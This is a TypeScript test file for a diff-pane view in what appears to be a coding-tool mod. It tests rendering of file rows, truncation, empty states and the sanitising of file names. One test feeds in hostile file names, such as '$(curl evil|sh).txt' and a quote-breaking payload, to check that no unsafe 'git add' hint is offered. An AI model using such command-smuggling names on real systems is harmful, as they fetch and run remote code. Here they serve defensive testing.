Download mods/diff/tests/views/pane-view.test.ts from SaylorTwift/claude-code: direct link, hf CLI and curl.
- Browser
- Download file 18.5 kB
-
https://huggingface.co/SaylorTwift/claude-code/resolve/main/mods/diff/tests/views/pane-view.test.ts
- Command line
-
hf download hf://SaylorTwift/claude-code/mods/diff/tests/views/pane-view.test.ts
-
curl -L -o pane-view.test.ts https://huggingface.co/SaylorTwift/claude-code/resolve/main/mods/diff/tests/views/pane-view.test.ts
18.5 kB
| import { describe, expect, test, tier } from 'claude-code/testing' | |
| import type Git from '../../hooks/git' | |
| import Limits from '../../hooks/limits' | |
| import Names from '../../hooks/names' | |
| import PaneState from '../../hooks/pane-state' | |
| import Views from '../../hooks/views' | |
| import Fixtures from '../fixtures' | |
| tier('builtin') | |
| describe('pane-view', () => { | |
| const dataOf = ( | |
| files: readonly Git.FileStat[], | |
| overrides: Partial<Git.DiffData> = {}, | |
| ): Git.DiffData => ({ | |
| repository: Fixtures.CHECKOUT, | |
| mode: 'session', | |
| stats: { ...Fixtures.TOTALS, filesCount: files.length }, | |
| files, | |
| source: { kind: 'working-tree', base: 'HEAD' }, | |
| isUnborn: false, | |
| baseRef: 'HEAD', | |
| stalePaths: [], | |
| isUntrackedWithheld: false, | |
| ...overrides, | |
| }) | |
| const modelOf = ( | |
| overrides: Partial<PaneState.PaneModel>, | |
| ): PaneState.PaneModel => ({ | |
| ...PaneState.INITIAL_MODEL, | |
| hasSettled: true, | |
| place: Fixtures.WHOLE_PLACE, | |
| ...overrides, | |
| }) | |
| const EARLIER = [Fixtures.rowOf('old.ts', { isPreSession: true })] | |
| test('docked: header, rows, every body, the earlier line', async ($, on) => { | |
| const tree = await Fixtures.dockedPane( | |
| $, | |
| on, | |
| modelOf({ | |
| data: dataOf([ | |
| Fixtures.rowOf('src/a.ts'), | |
| Fixtures.rowOf('src/b.ts'), | |
| Fixtures.rowOf('img.png', { isBinary: true }), | |
| Fixtures.rowOf('notes.txt', { | |
| added: 0, | |
| removed: 0, | |
| isUntracked: true, | |
| }), | |
| Fixtures.rowOf('test/a.test.ts'), | |
| Fixtures.rowOf('old.ts', { isPreSession: true }), | |
| ]), | |
| bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'src/a.ts', 'src/b.ts'), | |
| }), | |
| ) | |
| const text = Fixtures.jsonOf(tree) | |
| expect(Fixtures.isDrawn(tree), 'under the node cap').toBe(true) | |
| expect(text).toContain('5 files') | |
| expect(text).toContain('Binary file - cannot display diff') | |
| expect(text).toContain('New file not yet staged.') | |
| expect(text).toContain('1 test/generated (show)') | |
| expect(text).not.toContain('test/a.test.ts') | |
| expect(text).toContain('+1 file edited before this session (show)') | |
| expect(text).not.toContain('❯') | |
| expect(Fixtures.codesIn(tree).map(code => code.path)).toEqual([ | |
| 'src/a.ts', | |
| 'src/b.ts', | |
| ]) | |
| expect(text).toContain('"key":"ask:src/b.ts"') | |
| expect( | |
| Fixtures.elementIn(tree, { type: 'Button', name: 'base' })?.props, | |
| "the built-in's base chord on an empty Button", | |
| ).toMatchObject({ action: 'app:cycleDiffBase', label: '' }) | |
| }) | |
| test('untracked withheld: the rows stay, the pane says so', async ($, on) => { | |
| const draw = Fixtures.docksPane($, on) | |
| const words = { words: PaneState.INITIAL_MODEL.words } | |
| const listed = Fixtures.jsonOf( | |
| await draw( | |
| modelOf({ | |
| data: dataOf([Fixtures.rowOf('src/a.ts')], { | |
| isUntrackedWithheld: true, | |
| }), | |
| }), | |
| ), | |
| ) | |
| const bare = Fixtures.stringsOf( | |
| await draw(modelOf({ data: dataOf([], { isUntrackedWithheld: true }) })), | |
| ).join('') | |
| expect(listed).toContain('1 file') | |
| expect(listed).toContain('"label":"src/a.ts') | |
| expect(listed).toContain(Names.untrackedWithheldTextOf(words)) | |
| expect(bare).toContain('No tracked changes') | |
| expect(bare).not.toContain('No changes this session') | |
| expect(bare).toContain(Names.untrackedWithheldTextOf(words)) | |
| }) | |
| test('a file at the line cap draws under the tree caps', async ($, on) => { | |
| const lines = Array.from({ length: Limits.MAX_LINES_PER_FILE }, (_, at) => | |
| at % 2 === 0 ? `-const value${at} = ${at}` : `+const value${at} = 0`, | |
| ) | |
| const tree = await Fixtures.dockedPane( | |
| $, | |
| on, | |
| modelOf({ | |
| data: dataOf([Fixtures.rowOf('src/long.ts')]), | |
| bodies: Fixtures.bodiesOf( | |
| { | |
| hunks: [{ oldStart: 1, newStart: 1, lines }], | |
| isTruncated: true, | |
| isLarge: false, | |
| }, | |
| 'src/long.ts', | |
| ), | |
| }), | |
| ) | |
| expect( | |
| Fixtures.isDrawn(tree), | |
| 'under the node, string and text caps the engine holds a tree to', | |
| ).toBe(true) | |
| expect(Fixtures.codesIn(tree).length).toBeGreaterThan(0) | |
| expect(Fixtures.jsonOf(tree)).toContain( | |
| '… diff truncated (exceeded 400 line limit)', | |
| ) | |
| }) | |
| test("placeholders in the built-in's words", async ($, on) => { | |
| const draw = Fixtures.docksPane($, on) | |
| const untracked = Fixtures.jsonOf( | |
| await draw( | |
| modelOf({ | |
| data: dataOf([Fixtures.rowOf('notes.txt', { isUntracked: true })]), | |
| }), | |
| ), | |
| ) | |
| const loading = Fixtures.jsonOf( | |
| await draw(modelOf({ data: dataOf([Fixtures.rowOf('src/a.ts')]) })), | |
| ) | |
| expect(untracked).toContain('New file not yet staged.') | |
| expect(untracked).not.toContain('"label":"ask"') | |
| expect(untracked).toContain('Run `git add :/notes.txt` to see line counts.') | |
| expect(untracked).not.toContain("':/") | |
| expect(loading).toContain('Loading diff…') | |
| expect( | |
| Fixtures.stringsOf(await draw(modelOf({ data: null }))).join(''), | |
| ).toContain("Couldn't read the git diff — it will retry on the next change") | |
| expect( | |
| Fixtures.jsonOf(await draw(modelOf({ isOutsideRepository: true }))), | |
| ).toContain("isn't in a git repository") | |
| }) | |
| test('a picked turn draws its files under the turn line', async ($, on) => { | |
| const text = Fixtures.jsonOf( | |
| await Fixtures.dockedPane( | |
| $, | |
| on, | |
| modelOf({ | |
| data: dataOf([]), | |
| source: { kind: 'turn', index: 2 }, | |
| turns: [Fixtures.TURN_TWO], | |
| }), | |
| ), | |
| ) | |
| expect(text).toContain('Turn 2 \\"fix it\\"') | |
| expect(text).toContain('/r/a.ts') | |
| expect(text).toContain('T2') | |
| expect(text).toContain('… diff truncated (exceeded 400 line limit)') | |
| }) | |
| test('a long body splits into leaves under their cap', async ($, on) => { | |
| const tree = await Fixtures.dockedPane( | |
| $, | |
| on, | |
| modelOf({ | |
| data: dataOf([Fixtures.rowOf('src/long-lines.ts')]), | |
| bodies: Fixtures.bodiesOf(Fixtures.bigBodyOf(), 'src/long-lines.ts'), | |
| }), | |
| ) | |
| const codes = Fixtures.codesIn(tree) | |
| const chars = codes.reduce((sum, code) => sum + code.source.length, 0) | |
| expect(codes.length).toBeGreaterThan(1) | |
| expect(Fixtures.isDrawn(tree), 'the engine took the tree').toBe(true) | |
| expect( | |
| codes.every(code => code.source.length <= Views.MAX_CODE_CHARS), | |
| ).toBe(true) | |
| expect(chars).toBeLessThanOrEqual(Views.MAX_BODY_CHARS) | |
| }) | |
| test('the window draws what is in view, a scroll the rest', async ($, on) => { | |
| const draw = Fixtures.docksPane($, on) | |
| const model = modelOf({ | |
| data: dataOf([Fixtures.rowOf('a.ts'), Fixtures.rowOf('b.ts')]), | |
| bodies: new Map<string, Git.FileHunks>([ | |
| ['a.ts', Fixtures.bigBodyOf()], | |
| ['b.ts', Fixtures.SMALL_BODY], | |
| ]), | |
| place: { ...Fixtures.WHOLE_PLACE, rows: Fixtures.BODY_ROWS }, | |
| }) | |
| const top = await draw(model) | |
| const { tops } = Views.bodyLayoutOf(model, Views.dockPlanOf(model)) | |
| const scrolled = await draw({ | |
| ...model, | |
| place: { ...model.place, top: tops.get('b.ts') ?? 0 }, | |
| }) | |
| expect(Fixtures.isDrawn(top), 'the engine took the tree').toBe(true) | |
| expect(Fixtures.codesIn(top).map(code => code.path)).toEqual(['a.ts']) | |
| expect(Fixtures.jsonOf(top)).toContain('"key":"file:b.ts"') | |
| expect( | |
| Fixtures.codesIn(scrolled).map(code => code.path), | |
| "a.ts's tail, then b.ts whole (the window stops at the body's end)", | |
| ).toEqual(['a.ts', 'b.ts']) | |
| expect(Fixtures.jsonOf(scrolled), 'the list stays').toContain( | |
| '"key":"file:a.ts"', | |
| ) | |
| }) | |
| test('no newline or escape in a name reaches the tree', async ($, on) => { | |
| const tree = await Fixtures.dockedPane( | |
| $, | |
| on, | |
| modelOf({ | |
| data: dataOf([ | |
| Fixtures.rowOf('evil\nfake.ts +9 -9'), | |
| Fixtures.rowOf('esc\u001bname.ts', { renamedFrom: 'old\u001b.ts' }), | |
| ]), | |
| bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'evil\nfake.ts +9 -9'), | |
| }), | |
| ) | |
| const text = Fixtures.jsonOf(tree) | |
| expect(Fixtures.stringsOf(tree).some(each => each.includes('\u001b'))).toBe( | |
| false, | |
| ) | |
| expect(text).not.toContain('\\u001b') | |
| expect(text).not.toContain('evil\\nfake') | |
| expect(text).toContain('evilfake.ts +9 -9') | |
| expect(text).toContain('old.ts => escname.ts') | |
| }) | |
| test('a path past the string cap is cut in the header', async ($, on) => { | |
| const longPath = `${'deep/'.repeat(Fixtures.LONG_PATH_SEGMENTS)}file.ts` | |
| const tree = await Fixtures.dockedPane( | |
| $, | |
| on, | |
| modelOf({ | |
| data: dataOf([ | |
| Fixtures.rowOf(longPath, { renamedFrom: `${longPath}.old` }), | |
| ]), | |
| }), | |
| ) | |
| expect(Fixtures.isDrawn(tree), 'every string under the cap').toBe(true) | |
| expect(Fixtures.jsonOf(tree)).toContain('file.ts') | |
| }) | |
| test('a base branch name loses its format characters', async ($, on) => { | |
| const draw = Fixtures.docksPane($, on) | |
| const compared = Fixtures.jsonOf( | |
| await draw( | |
| modelOf({ | |
| requestedMode: 'branch', | |
| data: { ...dataOf([Fixtures.rowOf('a.ts')]), ...Fixtures.VS_SPOOFED }, | |
| }), | |
| ), | |
| ) | |
| const empty = Fixtures.jsonOf( | |
| await draw( | |
| modelOf({ | |
| requestedMode: 'branch', | |
| data: { | |
| ...dataOf([]), | |
| ...Fixtures.VS_SPOOFED, | |
| stats: Fixtures.NO_STATS, | |
| }, | |
| }), | |
| ), | |
| ) | |
| expect(compared).toContain('branch vs maniam') | |
| expect(empty).toContain('No changes vs maniam') | |
| expect(compared + empty).not.toContain('') | |
| }) | |
| test('only a plainly safe name gets a git add to paste', async ($, on) => { | |
| const draw = Fixtures.docksPane($, on) | |
| const untrackedOf = (path: string) => | |
| draw( | |
| modelOf({ | |
| data: dataOf([Fixtures.rowOf(path, { isUntracked: true })]), | |
| }), | |
| ) | |
| const hintOf = async (path: string) => | |
| Fixtures.stringsOf(await untrackedOf(path)).join('\n') | |
| const hints: string[] = [] | |
| for (const path of [ | |
| '$(curl evil|sh).txt', | |
| "it's.txt", | |
| "x';payload;'", | |
| 'a&b.txt', | |
| ]) { | |
| hints.push(await hintOf(path)) | |
| } | |
| const reversed = await untrackedOf('invoicetxt.exe') | |
| expect(await hintOf('src/café-2.txt')).toContain( | |
| 'Run `git add :/src/café-2.txt` to see line counts.', | |
| ) | |
| expect( | |
| hints.every( | |
| hint => | |
| hint.includes('Stage it with git add to see line counts.') && | |
| !hint.includes('Run `git add'), | |
| ), | |
| ).toBe(true) | |
| expect(Fixtures.stringsOf(reversed).join('\n')).not.toContain( | |
| 'Run `git add', | |
| ) | |
| expect(Fixtures.jsonOf(reversed)).toContain('"label":"invoicetxt.exe') | |
| expect(Fixtures.jsonOf(reversed)).not.toContain('') | |
| }) | |
| test("docked: the built-in's blank top row, last column", async ($, on) => { | |
| const tree = await Fixtures.dockedPane( | |
| $, | |
| on, | |
| modelOf({ | |
| data: dataOf([Fixtures.rowOf('src/a.ts')]), | |
| bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'src/a.ts'), | |
| }), | |
| ) | |
| const rule = '─'.repeat( | |
| Math.max(0, Fixtures.COLUMNS - Limits.PANE_RIGHT_PAD_COLUMNS), | |
| ) | |
| expect(tree).toMatchObject({ | |
| type: 'Box', | |
| props: { | |
| paddingTop: Limits.PANE_TOP_PAD_ROWS, | |
| paddingRight: Limits.PANE_RIGHT_PAD_COLUMNS, | |
| }, | |
| }) | |
| expect(Fixtures.stringsOf(tree)).toContain(rule) | |
| expect(Fixtures.stringsOf(tree)).not.toContain(`${rule}─`) | |
| }) | |
| test("docked rows follow the built-in's, its hunks after", async ($, on) => { | |
| expect( | |
| Fixtures.rowShapesOf( | |
| await Fixtures.dockedPane( | |
| $, | |
| on, | |
| modelOf({ | |
| data: dataOf([Fixtures.rowOf('src/a.ts'), Fixtures.rowOf('b.ts')]), | |
| bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'src/a.ts', 'b.ts'), | |
| }), | |
| ), | |
| ), | |
| ).toEqual([ | |
| '', | |
| 'b.ts'.padEnd( | |
| Fixtures.COLUMNS - Limits.PANE_RIGHT_PAD_COLUMNS - '+2 -1'.length, | |
| ), | |
| 'rule', | |
| 'ask', | |
| 'rule', | |
| '', | |
| 'blank', | |
| 'rule', | |
| 'ask', | |
| 'rule', | |
| '', | |
| 'blank', | |
| ]) | |
| }) | |
| test("an empty state on the built-in's row, foot below", async ($, on) => { | |
| const [body] = Fixtures.childrenOf( | |
| await Fixtures.dockedPane($, on, modelOf({ data: dataOf(EARLIER) })), | |
| ) | |
| const [header, pad, middle, foot, ...more] = Fixtures.childrenOf(body) | |
| const [spacer, headline, ...under] = Fixtures.childrenOf(middle) | |
| const aboveMiddle = Limits.PANE_TOP_PAD_ROWS + 2 | |
| expect(body).toMatchObject({ | |
| props: { height: Fixtures.BODY_ROWS - Limits.PANE_TOP_PAD_ROWS }, | |
| }) | |
| expect(Fixtures.stringsOf(header)).toEqual([]) | |
| expect(Fixtures.jsonOf(header)).not.toContain('✕') | |
| expect( | |
| Fixtures.elementIn(header, { type: 'Button', name: 'base' }), | |
| ).toBeDefined() | |
| expect(pad).toMatchObject({ type: 'Box', props: { height: 1 } }) | |
| expect(middle).toMatchObject({ props: { alignItems: 'center' } }) | |
| expect(spacer).toMatchObject({ | |
| type: 'Box', | |
| props: { height: Fixtures.BUILTIN_HEADLINE_ROW - aboveMiddle }, | |
| }) | |
| expect(Fixtures.stringsOf(headline)).toEqual(['No changes this session']) | |
| expect(under).toEqual([]) | |
| expect(foot).toMatchObject({ props: { marginTop: 1, paddingBottom: 1 } }) | |
| expect(Fixtures.jsonOf(foot)).toContain( | |
| '"label":"+1 file edited before this session (show)"', | |
| ) | |
| expect(more).toEqual([]) | |
| }) | |
| test('shown files or too few rows stack the empty state', async ($, on) => { | |
| let rows = Fixtures.BODY_ROWS | |
| Fixtures.drawsPane(on, kit => | |
| Views.paneView( | |
| { ...kit, rows }, | |
| modelOf({ | |
| data: dataOf(EARLIER), | |
| isPreSessionShown: rows === Fixtures.BODY_ROWS, | |
| }), | |
| Fixtures.DOCK_SEAT, | |
| ), | |
| ) | |
| const shown = await $.ui.render(Fixtures.VIEW_PANE) | |
| rows = Fixtures.CRAMPED_ROWS | |
| const cramped = await $.ui.render(Fixtures.VIEW_PANE) | |
| const [header, pad, headline, blank, earlier, gap, legend, first] = | |
| Fixtures.childrenOf(Fixtures.childrenOf(shown)[0]) | |
| expect(Fixtures.jsonOf(shown)).not.toContain('"alignItems":"center"') | |
| expect(Fixtures.jsonOf(cramped)).not.toContain('"alignItems":"center"') | |
| expect( | |
| Fixtures.elementIn(header, { type: 'Button', name: 'base' }), | |
| ).toBeDefined() | |
| expect(pad).toMatchObject({ type: 'Box', props: { height: 1 } }) | |
| expect(Fixtures.stringsOf(headline)).toEqual(['No changes this session']) | |
| expect(blank).toMatchObject({ type: 'Box', props: { height: 1 } }) | |
| expect(Fixtures.jsonOf(earlier)).toContain( | |
| '"label":"+1 file edited before this session (hide)"', | |
| ) | |
| expect(gap).toMatchObject({ type: 'Box', props: { height: 1 } }) | |
| expect(Fixtures.stringsOf(legend)).toContain('old.ts') | |
| expect(Fixtures.rowShapeOf(first), "the first body's top rule").toBe('rule') | |
| }) | |
| test("shown pre-session rows land on the built-in's rows", async ($, on) => { | |
| expect( | |
| Fixtures.rowShapesOf( | |
| await Fixtures.dockedPane( | |
| $, | |
| on, | |
| modelOf({ | |
| data: dataOf([ | |
| Fixtures.rowOf('config.toml', { isPreSession: true }), | |
| Fixtures.rowOf('setup.cfg', { isPreSession: true }), | |
| ]), | |
| isPreSessionShown: true, | |
| bodies: Fixtures.bodiesOf( | |
| Fixtures.SMALL_BODY, | |
| 'config.toml', | |
| 'setup.cfg', | |
| ), | |
| }), | |
| ), | |
| ).slice(1), | |
| ).toEqual([ | |
| 'blank', | |
| 'No changes this session', | |
| 'blank', | |
| '+2 files edited before this session (hide)', | |
| 'blank', | |
| 'config.toml+2 -1', | |
| 'setup.cfg+2 -1', | |
| 'rule', | |
| 'ask', | |
| 'rule', | |
| '', | |
| 'rule', | |
| 'ask', | |
| 'rule', | |
| '', | |
| ]) | |
| }) | |
| test('inline: title, rows round the pick, then one body', async ($, on) => { | |
| const files = Array.from( | |
| { length: Limits.MAX_VISIBLE_FILES + 2 }, | |
| (_, at) => Fixtures.rowOf(`f${at}.ts`), | |
| ) | |
| const draw = Fixtures.docksPane($, on, { placement: 'inline' }) | |
| const listing = modelOf({ | |
| data: dataOf(files), | |
| selectedPath: 'f6.ts', | |
| isFullscreen: false, | |
| bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'f0.ts', 'f6.ts'), | |
| }) | |
| const tree = await draw(listing) | |
| const text = Fixtures.jsonOf(tree) | |
| const detail = await draw({ ...listing, dialogView: 'detail' }) | |
| expect(text).toContain('Uncommitted changes') | |
| expect(text).toContain('(git diff HEAD)') | |
| expect(text).toContain('"label":"❯ f6.ts"') | |
| expect(text).toContain('"autoFocus":true') | |
| expect(text).toContain(' ↑ 2 more files') | |
| expect(text).not.toContain('"label":" f0.ts"') | |
| expect(Fixtures.codesIn(tree)).toEqual([]) | |
| expect(Fixtures.codesIn(detail).map(code => code.path)).toEqual(['f6.ts']) | |
| expect(Fixtures.jsonOf(detail)).not.toContain('"label":"❯ f6.ts"') | |
| expect(Fixtures.jsonOf(detail)).toContain('Esc to back') | |
| expect(tree).toMatchObject({ | |
| type: 'Box', | |
| props: { flexDirection: 'column' }, | |
| }) | |
| expect(text).not.toContain('"paddingTop"') | |
| }) | |
| test('inline, too narrow: the wider-terminal line alone', async ($, on) => { | |
| expect( | |
| Fixtures.stringsOf( | |
| await Fixtures.docksPane($, on, Fixtures.NARROW_SEAT)(modelOf({})), | |
| ), | |
| ).toEqual([Names.RESIZE_TERMINAL_TEXT]) | |
| }) | |
| test('the header row carries its controls in every state', async ($, on) => { | |
| const draw = Fixtures.docksPane($, on) | |
| const models = [ | |
| modelOf({ data: dataOf([Fixtures.rowOf('src/a.ts')]) }), | |
| modelOf({ data: dataOf([]) }), | |
| modelOf({ | |
| data: dataOf([]), | |
| source: { kind: 'turn', index: 2 }, | |
| turns: [Fixtures.TURN_TWO], | |
| }), | |
| ] | |
| for (const model of models) { | |
| const tree = await draw(model) | |
| const [header] = Fixtures.childrenOf(Fixtures.childrenOf(tree)[0]) | |
| const isTurn = model.source.kind === 'turn' | |
| expect(Fixtures.isDrawn(tree), 'the engine took the tree').toBe(true) | |
| expect(Fixtures.jsonOf(tree)).not.toContain('"label":"✕"') | |
| expect( | |
| Fixtures.elementIn(header, { | |
| type: isTurn ? 'Select' : 'Button', | |
| name: isTurn ? 'source' : 'base', | |
| }), | |
| ).toBeDefined() | |
| } | |
| }) | |
| }) | |